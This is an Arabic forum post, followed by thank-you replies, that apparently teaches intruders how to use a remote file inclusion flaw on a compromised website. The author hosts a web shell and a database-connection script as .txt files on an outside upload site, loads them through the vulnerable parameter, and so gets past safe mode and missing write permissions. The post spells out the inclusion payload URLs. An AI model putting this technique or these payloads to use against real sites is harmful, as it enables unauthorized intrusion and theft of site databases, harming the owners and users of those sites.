السلام عليكم ورحمة الله وبركاته
الحمد لله خلصت دراسة ورجعت مع :

اخواني انا لقيت حل لمشكله وهي

عدم وجود ملف تصريح 777 في الموقع المصاب باثغره وايضاً لتخطي السيف مود

لنفرض انك زرعت الشل على موقع باستخدم ثغرة الفايل انكلود وماحصلت ملف

يحمل ترخيص 777 وانت تبغ ترفع سكربت الاتصال بقاعدة البيانات طبعاً

البعض يقول ليش اتعب روحي مادام الصلاحيات نوبدي ادور موقع غيره !!

طيب لو كان هذا الموقع هو الهدف الي تبيه ؟؟

الحل بسيط

لنفرض ان الموقع المصاب بالثغره هو مثلاً

والاستغلال =[ j******.php?my_ms[root مثلاً

ورابط الشل المرفوع على مركز تحميل بامتداد txt هو


طبيعي بيكون الاستغلال بهذا الشكل


[root]=http://www.6rp.net/upload/files/SHLLname.txt?

الان دخلت على الشل وتبغ ملف او مجلد يحمل تصريح 777 وما حصلت

هل تسرح الموقع وتخليه يفلت

لاااا طبعاً هذي جريمه يعاقبك عليها القانون

الحل انك مثل مارفعت الشل في مركز تحميل بامتداد txt واستدعيته باستخدام الثغره

ارفع سكربت الاتصال بقاعدة البيانات بنفس الطريقه واخل عليه باستخدام الثغره

للتوضيح

ولنفرض ان مركز التحميل رفعت عليه السكربت واعطاك هذا الرابط للدخول للملف الي رفعته



الدخول لقاعدة البيانات للموقع يكون بهذا الرابط

[root]=http://www.6rp.net/upload/files/SQLname.txt?

كل الي سويته اني بدل ماارفع سكربت الشل باستخدام الثغره رفعت سكربت الاتصال بالقاعده
واذا بغيت تخش على الشل مره ثانيه بدل رابط السكربت برابط الشل

::ملاحضات::
1- هذا الكلام ينطبق على الموقع المصاب باثغره فقط
2- تقدر ترفع اي سكربت في بالك على الموقع بهذي الطريقه
3- بمجرد معرفة معلومات قاعدة البيانات ان تتصل بها حتى لوكان السيف مود فعال

وارجوا التطبيق واي استفسار انا في الخدمه

اتنهى اوتمنه ان الشرح كان واضح

مشكور يا قلبو

ويعطيك الف عافية

لا تحرمنا من ابداعك ,,

مشكور ويعطيك
الف عافيه اخوي لمعه

الله يعطيك العافيه

مشكووووووووووووووووووووور